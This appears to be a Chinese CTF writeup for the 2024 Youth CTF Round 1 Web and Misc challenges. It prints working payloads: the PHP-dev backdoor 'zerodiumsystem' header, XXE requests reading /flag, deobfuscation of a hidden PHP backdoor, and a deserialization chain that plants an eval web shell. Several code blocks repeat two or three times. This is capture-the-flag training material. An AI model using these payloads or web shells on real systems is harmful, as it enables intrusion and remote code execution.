青少年CTF擂台挑战赛 2024 #Round 1 Writeup

前言

->Web方向

EasyMD5

burp抓包

随意上传提示pdf后缀 我这里直接把type都改成pdf类型

给了我们是否知道MD5 Collision

MD5 Collision可以是文件内容不同但MD5的值相同 判断出我们需要上传两个MD5值相同的文件

此时md5的值相同

PHP的后门

PHP 8.x的dev NSSround18的原题 但比NSSround18简单的多,一步就出来

POC

User-Agentt: zerodiumsystem("cat /flag");
User-Agentt: zerodiumsystem("cat /flag");
User-Agentt: zerodiumsystem("cat /flag");

PHP中的XXE

打开

这道题主要是通过引入外部DTD执行漏洞攻击

引入外部DTD执行代码 唯一的考点是找到入口 造成DTD的函数是simplexml_load_string用来接收xml所以我们需要访问该php路径来找到入口

POC

GET /simplexml_load_string.php HTTP/1.1
Host: challenge.qsnctf.com:31417
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 170
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "file:///flag" >
]>
<root>
    <name>&xxe;</name>
</root>
GET /simplexml_load_string.php HTTP/1.1
Host: challenge.qsnctf.com:31417
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 170

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "file:///flag" >
]>
<root>
    <name>&xxe;</name>
</root>
GET /simplexml_load_string.php HTTP/1.1
Host: challenge.qsnctf.com:31417
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 170

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
    <!ELEMENT name ANY >
    <!ENTITY xxe SYSTEM "file:///flag" >
]>
<root>
    <name>&xxe;</name>
</root>

Easy_SQLI

使用sqlmap判断出时间盲注 ,sqlmap执行os-shell拿flag(类似青少年的靶场的一个sql注入原题

雏形系统

进去页面是一个登录框，那御剑扫一下目录发下www.zip备份文件，下载下来，源码如下

根据题目描述，这应该是留下来的一个后门代码，只不过进行了加密，我们要先接出来，加密原理大概就是字符串的分割，然后动态调用的嵌套，我们只需按照他的加密原理一步一步的接，不过把eval改成echo输出出来源代码

网上搜索($O00OO0{6}.$O00OO0{33}.$O00OO0{30}.后门此处省略）的类似加密信息(可以搜索到解密过程

解密脚本如下:

<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");//n1zb/ma5vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j
echo '第一步生成：',$O00OO0;
echo '<br /><br />********************************************************<br /><br />';
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}
.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}
.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
echo '第二步生成：',$O00O0O;
echo '<br /><br />********************************************************<br /><br />';
  
//上面解出来 $O00O0O=base64_decode;
//即然 $O00O0O=base64_decode那么把下面的代码改一下，eval是用来执行php代码，这里不需要执行，只需要解出php代码即可，那么去掉eavl 并把$O00O0O换成上面解出来的值
//eval ($O00O0O ("JE8wTzAwMD0iV0FLQ1JIbHdPdnh0cmRHVUxFbmFOSlBlamZGUXpaTUJjc29nSXVrYnBxWFR5bVZoU2lEWVpKUXlvaURPZEZXbl BZdFV2U2xmVEJleEt6a0dxVmhFSHdnTVhDdUFyUmFqTE5tcGJjSXNlSTlPZmlKVHlNdVR5TkROUXlvem8wbVVaTEJyVnlCWWVqMG N4Wm1xWGNEN0JpTTlYTmtxSExYQ1hObUxZeVg3WHlvNFF5b3pVUzlqbWt3Y3h0azRYRDByZDJtNGZhR2dRam45SUdnVHlLOCtYSj BRIjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT0 8wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
//修改后变成
echo '第三步生成：';
echo (base64_decode("JE8wTzAwMD0iS1hwSnRScmdxVU9IY0Zld3lvUFNXbkNidmtmTUlkbXh6c0VMWVpCVkdoRE51YUFUbFFqaVRhTWh5UUpVclpudHFlS0JzTndSY2ttbG9kVkFTWXBXeGpMRWJJZkNndk9GdWl6RFBHWEh3TzlCaXR6VFNtelVTZ0NzcXA5c2EzaFBxZzlzWWdQdUlzVUJURGpUbUh6VVNtZlhsZ2V4cXNmeGlnZFRTbXpVU3RqVFNtelVTbXpVU21mQlljaGppY0FVaGc1UEt0RzdtSHpVU216VVNtelVxdENIbGdQWFNtUUJiYUZ4bkJOVVNtelVTbXpVU3RmMWJwV01ic2ZwWWM1WFlnUG9sSGZWYTNRb1ozUXNpYzVrVG1QN21IelVTbXpVU216VVNtelVTbVEwaWdQeEVENXVJYXYwblhNR0RlTk5odFFOaWFBeXdrZnZxM0FNbkJOVVNtelVTbXpVU3QwVFNtelVTdDBUU216VVNnRmpiYUZ4U3RZb21IelVTbWY3bUh6VVNtelVTbXpVcXRDSGxnUFhTbVF4SWFVN21IelVTbXpVU216VXF0Q0hsZ1BYU21RdkkyWjdtSHpVU216VVNtelVxdENIbGdQWFNtUU1sa1FQbGtRTWwyNDdtSHpVU216VVNtelVxdENIbGdQWFNnSTFscEYwaWM5dVNlOVZJZ0N4WXRoMWIzR05UYWpUU216VVNtelVTbXpVU216VUljRk5sc3pIUmdkVUN0aDVTdEZQcXBQdmxnUDZJUmZGSVJMSG5CTlVTbXpVU216VVNtelVTbXpkWWd2TXFzMCtpYzV4cWdDWFltVU1uQk5VU216VVNtelVTdDBUU216VVNtelVTbWZwWWM1WFlnUG9sSGZNbGtGQkljRjBUbVA3bUh6VVNtelVTbXpVU216VVNnUHBUbVEwaWdQeEVENXhJYVU5d1JZSGwzZGtoSGJkWWd2TXFzMCtiY1lQd0Qwa0ljUGtpdFFQSWM0a1RHTlVTbXpVU216VVNtelVTbWY3bUh6VVNtelVTbXpVU216VVNtelVTbWZQYjJ2b1NtUTBpZ1B4RUQ1TWxrUVBsa1FNbDI0N21IelVTbXpVU216VVNtelVTdDBUU216VVNtelVTbXpVU216VUljRk5sc3pIOGgrSXZETDQ1bFRmOGgrU2pIUzdtSHpVU216VVNtelVWR05VU216VVZHTlRTbXpVU2dGamJhRnhTTFFQbGM4VFNtelVTdGpUU216VVNtelVTbWZCWWNoamljQVVoZ0w3bUh6VVNtelVTbXpVcTNRdllnUFhTZ0kxbHBGMGljOXVTZTlWYjJlamxlRjBiYVFNYnNVZGJjRjBpYzl1RW16ZElnOE1tSHpVU216VVNtelVLQk5VU216VVNtelVTbXpVU21ma2xnOUhiY0JVaGdTN21IelVTbXpVU216VVNtelVTbVFIVG1RZGwxakJhUmQ3bUh6VVNtelVTbXpVVkdOVVNtelVWR05UU216VVNtUUhTTzBVaGU5R0QxRlpjc1lCYmFGeFkyOXNJbVlZbkJOVVNtelVoZ0xVd1J6ZGExZndaMVFsaDNDeElhaHViYzFQaDEwN21IelVTbWZ6WWM1eElhaE1iY1dNS3BaTmhnTE1uQk5VU216VWljYlVUbWVNcTNGUFltVWRiSGRNU3RqVFNtelVTbXpVU21mUGIydm9TbVM5d0QwOXdEMDl3RDA5d0QwOXdEMDl3RDFHRGVOVVJjNUJZYUdVY2M5MXFIZm5iYzFQU0QwOXdEMDl3RDA5d0QwOXdEMDl3RDA5d1JTN21IelVTbWY5bUh6VVNtZk1JSFVkYkQwOWgyZWRsY1B1aHNicGhnUzl3UlNraXhlcFljdjFoM0FVWWdDeFltZmRJYzFvU0hkVFNtelVTdGpUU216VVNtelVTbWZQYjJ2b1RtRWtwbG9Qb0lhcEhoT1BITThIVERqVFNtelVTdDBUbUh6VVNtei93VT09IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
echo '<br /><br />********************************************************<br /><br />';
//上页那步输出来代码为：
/*
$O0O000="WAKCRHlwOvxtrdGULEnaNJPejfFQzZMBcsogIukbpqXTymVhSiDYZJQyoiDOdFWnPYtUvSlfTBexKzkGqVhEHwgMXCuArRajLNmpbcIseI9OfiJTyMuTyNDNQyozo0mUZLBrVyBYej0cxZmqXcD7BiM9XNkqHLXCXNmLYyX7Xyo4QyozUS9jmkwcxtk4XD0rd2m4faGgQjn9IGgTyK8+XJ0Q";
eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));
*/
//同样，不需要eval，改成echo
$O0O000="WAKCRHlwOvxtrdGULEnaNJPejfFQzZMBcsogIukbpqXTymVhSiDYZJQyoiDOdFWnPYtUvSlfTBexKzkGqVhEHwgMXCuArRajLNmpbcIseI9OfiJTyMuTyNDNQyozo0mUZLBrVyBYej0cxZmqXcD7BiM9XNkqHLXCXNmLYyX7Xyo4QyozUS9jmkwcxtk4XD0rd2m4faGgQjn9IGgTyK8+XJ0Q";
echo '最终代码是：（这是我用htmlspecialchars函数把标签转换了）'.htmlspecialchars('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));
  
?>
<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");//n1zb/ma5vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j
echo '第一步生成：',$O00OO0;
echo '<br /><br />********************************************************<br /><br />';
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}
.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}
.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
echo '第二步生成：',$O00O0O;
echo '<br /><br />********************************************************<br /><br />';
  
//上面解出来 $O00O0O=base64_decode;
//即然 $O00O0O=base64_decode那么把下面的代码改一下，eval是用来执行php代码，这里不需要执行，只需要解出php代码即可，那么去掉eavl 并把$O00O0O换成上面解出来的值
//eval ($O00O0O ("JE8wTzAwMD0iV0FLQ1JIbHdPdnh0cmRHVUxFbmFOSlBlamZGUXpaTUJjc29nSXVrYnBxWFR5bVZoU2lEWVpKUXlvaURPZEZXbl BZdFV2U2xmVEJleEt6a0dxVmhFSHdnTVhDdUFyUmFqTE5tcGJjSXNlSTlPZmlKVHlNdVR5TkROUXlvem8wbVVaTEJyVnlCWWVqMG N4Wm1xWGNEN0JpTTlYTmtxSExYQ1hObUxZeVg3WHlvNFF5b3pVUzlqbWt3Y3h0azRYRDByZDJtNGZhR2dRam45SUdnVHlLOCtYSj BRIjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT0 8wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
//修改后变成
echo '第三步生成：';
echo (base64_decode("JE8wTzAwMD0iS1hwSnRScmdxVU9IY0Zld3lvUFNXbkNidmtmTUlkbXh6c0VMWVpCVkdoRE51YUFUbFFqaVRhTWh5UUpVclpudHFlS0JzTndSY2ttbG9kVkFTWXBXeGpMRWJJZkNndk9GdWl6RFBHWEh3TzlCaXR6VFNtelVTZ0NzcXA5c2EzaFBxZzlzWWdQdUlzVUJURGpUbUh6VVNtZlhsZ2V4cXNmeGlnZFRTbXpVU3RqVFNtelVTbXpVU21mQlljaGppY0FVaGc1UEt0RzdtSHpVU216VVNtelVxdENIbGdQWFNtUUJiYUZ4bkJOVVNtelVTbXpVU3RmMWJwV01ic2ZwWWM1WFlnUG9sSGZWYTNRb1ozUXNpYzVrVG1QN21IelVTbXpVU216VVNtelVTbVEwaWdQeEVENXVJYXYwblhNR0RlTk5odFFOaWFBeXdrZnZxM0FNbkJOVVNtelVTbXpVU3QwVFNtelVTdDBUU216VVNnRmpiYUZ4U3RZb21IelVTbWY3bUh6VVNtelVTbXpVcXRDSGxnUFhTbVF4SWFVN21IelVTbXpVU216VXF0Q0hsZ1BYU21RdkkyWjdtSHpVU216VVNtelVxdENIbGdQWFNtUU1sa1FQbGtRTWwyNDdtSHpVU216VVNtelVxdENIbGdQWFNnSTFscEYwaWM5dVNlOVZJZ0N4WXRoMWIzR05UYWpUU216VVNtelVTbXpVU216VUljRk5sc3pIUmdkVUN0aDVTdEZQcXBQdmxnUDZJUmZGSVJMSG5CTlVTbXpVU216VVNtelVTbXpkWWd2TXFzMCtpYzV4cWdDWFltVU1uQk5VU216VVNtelVTdDBUU216VVNtelVTbWZwWWM1WFlnUG9sSGZNbGtGQkljRjBUbVA3bUh6VVNtelVTbXpVU216VVNnUHBUbVEwaWdQeEVENXhJYVU5d1JZSGwzZGtoSGJkWWd2TXFzMCtiY1lQd0Qwa0ljUGtpdFFQSWM0a1RHTlVTbXpVU216VVNtelVTbWY3bUh6VVNtelVTbXpVU216VVNtelVTbWZQYjJ2b1NtUTBpZ1B4RUQ1TWxrUVBsa1FNbDI0N21IelVTbXpVU216VVNtelVTdDBUU216VVNtelVTbXpVU216VUljRk5sc3pIOGgrSXZETDQ1bFRmOGgrU2pIUzdtSHpVU216VVNtelVWR05VU216VVZHTlRTbXpVU2dGamJhRnhTTFFQbGM4VFNtelVTdGpUU216VVNtelVTbWZCWWNoamljQVVoZ0w3bUh6VVNtelVTbXpVcTNRdllnUFhTZ0kxbHBGMGljOXVTZTlWYjJlamxlRjBiYVFNYnNVZGJjRjBpYzl1RW16ZElnOE1tSHpVU216VVNtelVLQk5VU216VVNtelVTbXpVU21ma2xnOUhiY0JVaGdTN21IelVTbXpVU216VVNtelVTbVFIVG1RZGwxakJhUmQ3bUh6VVNtelVTbXpVVkdOVVNtelVWR05UU216VVNtUUhTTzBVaGU5R0QxRlpjc1lCYmFGeFkyOXNJbVlZbkJOVVNtelVoZ0xVd1J6ZGExZndaMVFsaDNDeElhaHViYzFQaDEwN21IelVTbWZ6WWM1eElhaE1iY1dNS3BaTmhnTE1uQk5VU216VWljYlVUbWVNcTNGUFltVWRiSGRNU3RqVFNtelVTbXpVU21mUGIydm9TbVM5d0QwOXdEMDl3RDA5d0QwOXdEMDl3RDFHRGVOVVJjNUJZYUdVY2M5MXFIZm5iYzFQU0QwOXdEMDl3RDA5d0QwOXdEMDl3RDA5d1JTN21IelVTbWY5bUh6VVNtZk1JSFVkYkQwOWgyZWRsY1B1aHNicGhnUzl3UlNraXhlcFljdjFoM0FVWWdDeFltZmRJYzFvU0hkVFNtelVTdGpUU216VVNtelVTbWZQYjJ2b1RtRWtwbG9Qb0lhcEhoT1BITThIVERqVFNtelVTdDBUbUh6VVNtei93VT09IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
echo '<br /><br />********************************************************<br /><br />';
//上页那步输出来代码为：
/*
$O0O000="WAKCRHlwOvxtrdGULEnaNJPejfFQzZMBcsogIukbpqXTymVhSiDYZJQyoiDOdFWnPYtUvSlfTBexKzkGqVhEHwgMXCuArRajLNmpbcIseI9OfiJTyMuTyNDNQyozo0mUZLBrVyBYej0cxZmqXcD7BiM9XNkqHLXCXNmLYyX7Xyo4QyozUS9jmkwcxtk4XD0rd2m4faGgQjn9IGgTyK8+XJ0Q";
eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));
*/
//同样，不需要eval，改成echo
$O0O000="WAKCRHlwOvxtrdGULEnaNJPejfFQzZMBcsogIukbpqXTymVhSiDYZJQyoiDOdFWnPYtUvSlfTBexKzkGqVhEHwgMXCuArRajLNmpbcIseI9OfiJTyMuTyNDNQyozo0mUZLBrVyBYej0cxZmqXcD7BiM9XNkqHLXCXNmLYyX7Xyo4QyozUS9jmkwcxtk4XD0rd2m4faGgQjn9IGgTyK8+XJ0Q";
echo '最终代码是：（这是我用htmlspecialchars函数把标签转换了）'.htmlspecialchars('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));
  
?>
<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");//n1zb/ma5vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j
echo '第一步生成：',$O00OO0;
echo '<br /><br />********************************************************<br /><br />';
$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}
.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}
.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
echo '第二步生成：',$O00O0O;
echo '<br /><br />********************************************************<br /><br />';
  
//上面解出来 $O00O0O=base64_decode;
//即然 $O00O0O=base64_decode那么把下面的代码改一下，eval是用来执行php代码，这里不需要执行，只需要解出php代码即可，那么去掉eavl 并把$O00O0O换成上面解出来的值
//eval ($O00O0O ("JE8wTzAwMD0iV0FLQ1JIbHdPdnh0cmRHVUxFbmFOSlBlamZGUXpaTUJjc29nSXVrYnBxWFR5bVZoU2lEWVpKUXlvaURPZEZXbl BZdFV2U2xmVEJleEt6a0dxVmhFSHdnTVhDdUFyUmFqTE5tcGJjSXNlSTlPZmlKVHlNdVR5TkROUXlvem8wbVVaTEJyVnlCWWVqMG N4Wm1xWGNEN0JpTTlYTmtxSExYQ1hObUxZeVg3WHlvNFF5b3pVUzlqbWt3Y3h0azRYRDByZDJtNGZhR2dRam45SUdnVHlLOCtYSj BRIjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT0 8wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
//修改后变成
echo '第三步生成：';
echo (base64_decode("JE8wTzAwMD0iS1hwSnRScmdxVU9IY0Zld3lvUFNXbkNidmtmTUlkbXh6c0VMWVpCVkdoRE51YUFUbFFqaVRhTWh5UUpVclpudHFlS0JzTndSY2ttbG9kVkFTWXBXeGpMRWJJZkNndk9GdWl6RFBHWEh3TzlCaXR6VFNtelVTZ0NzcXA5c2EzaFBxZzlzWWdQdUlzVUJURGpUbUh6VVNtZlhsZ2V4cXNmeGlnZFRTbXpVU3RqVFNtelVTbXpVU21mQlljaGppY0FVaGc1UEt0RzdtSHpVU216VVNtelVxdENIbGdQWFNtUUJiYUZ4bkJOVVNtelVTbXpVU3RmMWJwV01ic2ZwWWM1WFlnUG9sSGZWYTNRb1ozUXNpYzVrVG1QN21IelVTbXpVU216VVNtelVTbVEwaWdQeEVENXVJYXYwblhNR0RlTk5odFFOaWFBeXdrZnZxM0FNbkJOVVNtelVTbXpVU3QwVFNtelVTdDBUU216VVNnRmpiYUZ4U3RZb21IelVTbWY3bUh6VVNtelVTbXpVcXRDSGxnUFhTbVF4SWFVN21IelVTbXpVU216VXF0Q0hsZ1BYU21RdkkyWjdtSHpVU216VVNtelVxdENIbGdQWFNtUU1sa1FQbGtRTWwyNDdtSHpVU216VVNtelVxdENIbGdQWFNnSTFscEYwaWM5dVNlOVZJZ0N4WXRoMWIzR05UYWpUU216VVNtelVTbXpVU216VUljRk5sc3pIUmdkVUN0aDVTdEZQcXBQdmxnUDZJUmZGSVJMSG5CTlVTbXpVU216VVNtelVTbXpkWWd2TXFzMCtpYzV4cWdDWFltVU1uQk5VU216VVNtelVTdDBUU216VVNtelVTbWZwWWM1WFlnUG9sSGZNbGtGQkljRjBUbVA3bUh6VVNtelVTbXpVU216VVNnUHBUbVEwaWdQeEVENXhJYVU5d1JZSGwzZGtoSGJkWWd2TXFzMCtiY1lQd0Qwa0ljUGtpdFFQSWM0a1RHTlVTbXpVU216VVNtelVTbWY3bUh6VVNtelVTbXpVU216VVNtelVTbWZQYjJ2b1NtUTBpZ1B4RUQ1TWxrUVBsa1FNbDI0N21IelVTbXpVU216VVNtelVTdDBUU216VVNtelVTbXpVU216VUljRk5sc3pIOGgrSXZETDQ1bFRmOGgrU2pIUzdtSHpVU216VVNtelVWR05VU216VVZHTlRTbXpVU2dGamJhRnhTTFFQbGM4VFNtelVTdGpUU216VVNtelVTbWZCWWNoamljQVVoZ0w3bUh6VVNtelVTbXpVcTNRdllnUFhTZ0kxbHBGMGljOXVTZTlWYjJlamxlRjBiYVFNYnNVZGJjRjBpYzl1RW16ZElnOE1tSHpVU216VVNtelVLQk5VU216VVNtelVTbXpVU21ma2xnOUhiY0JVaGdTN21IelVTbXpVU216VVNtelVTbVFIVG1RZGwxakJhUmQ3bUh6VVNtelVTbXpVVkdOVVNtelVWR05UU216VVNtUUhTTzBVaGU5R0QxRlpjc1lCYmFGeFkyOXNJbVlZbkJOVVNtelVoZ0xVd1J6ZGExZndaMVFsaDNDeElhaHViYzFQaDEwN21IelVTbWZ6WWM1eElhaE1iY1dNS3BaTmhnTE1uQk5VU216VWljYlVUbWVNcTNGUFltVWRiSGRNU3RqVFNtelVTbXpVU21mUGIydm9TbVM5d0QwOXdEMDl3RDA5d0QwOXdEMDl3RDFHRGVOVVJjNUJZYUdVY2M5MXFIZm5iYzFQU0QwOXdEMDl3RDA5d0QwOXdEMDl3RDA5d1JTN21IelVTbWY5bUh6VVNtZk1JSFVkYkQwOWgyZWRsY1B1aHNicGhnUzl3UlNraXhlcFljdjFoM0FVWWdDeFltZmRJYzFvU0hkVFNtelVTdGpUU216VVNtelVTbWZQYjJ2b1RtRWtwbG9Qb0lhcEhoT1BITThIVERqVFNtelVTdDBUbUh6VVNtei93VT09IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
echo '<br /><br />********************************************************<br /><br />';
//上页那步输出来代码为：
/*
$O0O000="WAKCRHlwOvxtrdGULEnaNJPejfFQzZMBcsogIukbpqXTymVhSiDYZJQyoiDOdFWnPYtUvSlfTBexKzkGqVhEHwgMXCuArRajLNmpbcIseI9OfiJTyMuTyNDNQyozo0mUZLBrVyBYej0cxZmqXcD7BiM9XNkqHLXCXNmLYyX7Xyo4QyozUS9jmkwcxtk4XD0rd2m4faGgQjn9IGgTyK8+XJ0Q";
eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));
*/
//同样，不需要eval，改成echo
$O0O000="WAKCRHlwOvxtrdGULEnaNJPejfFQzZMBcsogIukbpqXTymVhSiDYZJQyoiDOdFWnPYtUvSlfTBexKzkGqVhEHwgMXCuArRajLNmpbcIseI9OfiJTyMuTyNDNQyozo0mUZLBrVyBYej0cxZmqXcD7BiM9XNkqHLXCXNmLYyX7Xyo4QyozUS9jmkwcxtk4XD0rd2m4faGgQjn9IGgTyK8+XJ0Q";
echo '最终代码是：（这是我用htmlspecialchars函数把标签转换了）'.htmlspecialchars('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));
  
?>

最后解密后拿到的就是

<?php error_reporting(0);
class shi {
    public $next;
    public $pass;
    public function __toString(){
        $this->next::PLZ($this->pass);
    }
}
class wo {
    public $sex;
    public $age;
    public $intention;
    public function __destruct(){
        echo "Hi Try serialize Me!";
        $this->inspect();
    }
    function inspect(){
        if($this->sex=='boy'&&$this->age=='eighteen') {
            echo $this->intention;
        }
        echo "🙅18岁🈲";
    }
}
class Demo {
    public $a;
    static function __callStatic($action, $do) {
        global $b;
        $b($do[0]); }
}
$b = $_POST['password']; 
$a = $_POST['username']; 
@unserialize($a); 
if (!isset($b)) { 
    echo "==================PLZ Input Your Name!=================="; } 
    if($a=='admin'&&$b=="'k1fuhu's test demo") {
         echo("登录成功"); 
        } ?>
<?php error_reporting(0);
class shi {
    public $next;
    public $pass;
    public function __toString(){
        $this->next::PLZ($this->pass);
    }
}
class wo {
    public $sex;
    public $age;
    public $intention;
    public function __destruct(){
        echo "Hi Try serialize Me!";
        $this->inspect();
    }
    function inspect(){
        if($this->sex=='boy'&&$this->age=='eighteen') {
            echo $this->intention;
        }
        echo "🙅18岁🈲";
    }
}
class Demo {
    public $a;
    static function __callStatic($action, $do) {
        global $b;
        $b($do[0]); }
}
$b = $_POST['password']; 
$a = $_POST['username']; 
@unserialize($a); 
if (!isset($b)) { 
    echo "==================PLZ Input Your Name!=================="; } 
    if($a=='admin'&&$b=="'k1fuhu's test demo") {
         echo("登录成功"); 
        } ?>
<?php error_reporting(0);
class shi {
    public $next;
    public $pass;
    public function __toString(){
        $this->next::PLZ($this->pass);
    }
}
class wo {
    public $sex;
    public $age;
    public $intention;
    public function __destruct(){
        echo "Hi Try serialize Me!";
        $this->inspect();
    }
    function inspect(){
        if($this->sex=='boy'&&$this->age=='eighteen') {
            echo $this->intention;
        }
        echo "🙅18岁🈲";
    }
}
class Demo {
    public $a;
    static function __callStatic($action, $do) {
        global $b;
        $b($do[0]); }
}
$b = $_POST['password']; 
$a = $_POST['username']; 
@unserialize($a); 
if (!isset($b)) { 
    echo "==================PLZ Input Your Name!=================="; } 
    if($a=='admin'&&$b=="'k1fuhu's test demo") {
         echo("登录成功"); 
        } ?>

反序列化构造，利用点是Demo类里的$b($do[0];)动态函数调用

构造方法就是利用wo类的的 echo $this->intention触发shi类里的**__tostring ** 然后**_tostring ** 的静态类调用触发demo类中的**__callStatic

exp

$shi=new shi();
$wo=new wo();
$demo=new demo();
$shi->pass="echo '<?php eval(\$_POST[1]);?>' > 3.php ";
$shi->next=$demo;
$wo->age='eighteen';$wo->sex='boy';$wo->intention=$shi;
echo serialize($wo);
$shi=new shi();
$wo=new wo();
$demo=new demo();
$shi->pass="echo '<?php eval(\$_POST[1]);?>' > 3.php ";
$shi->next=$demo;
$wo->age='eighteen';$wo->sex='boy';$wo->intention=$shi;
echo serialize($wo);
$shi=new shi();
$wo=new wo();
$demo=new demo();
$shi->pass="echo '<?php eval(\$_POST[1]);?>' > 3.php ";
$shi->next=$demo;
$wo->age='eighteen';$wo->sex='boy';$wo->intention=$shi;
echo serialize($wo);

post传参username传序列化后的结果，password传system字符串

然后到3.php就可以rce拿到flag了

->Misc方向

CTFer_Revenge

打开附件是个txt

这应该是一个文件的16进制格式，不过反了过来，利用在线网站反转回来

然后写python脚本把其中的16进制数据提取出来

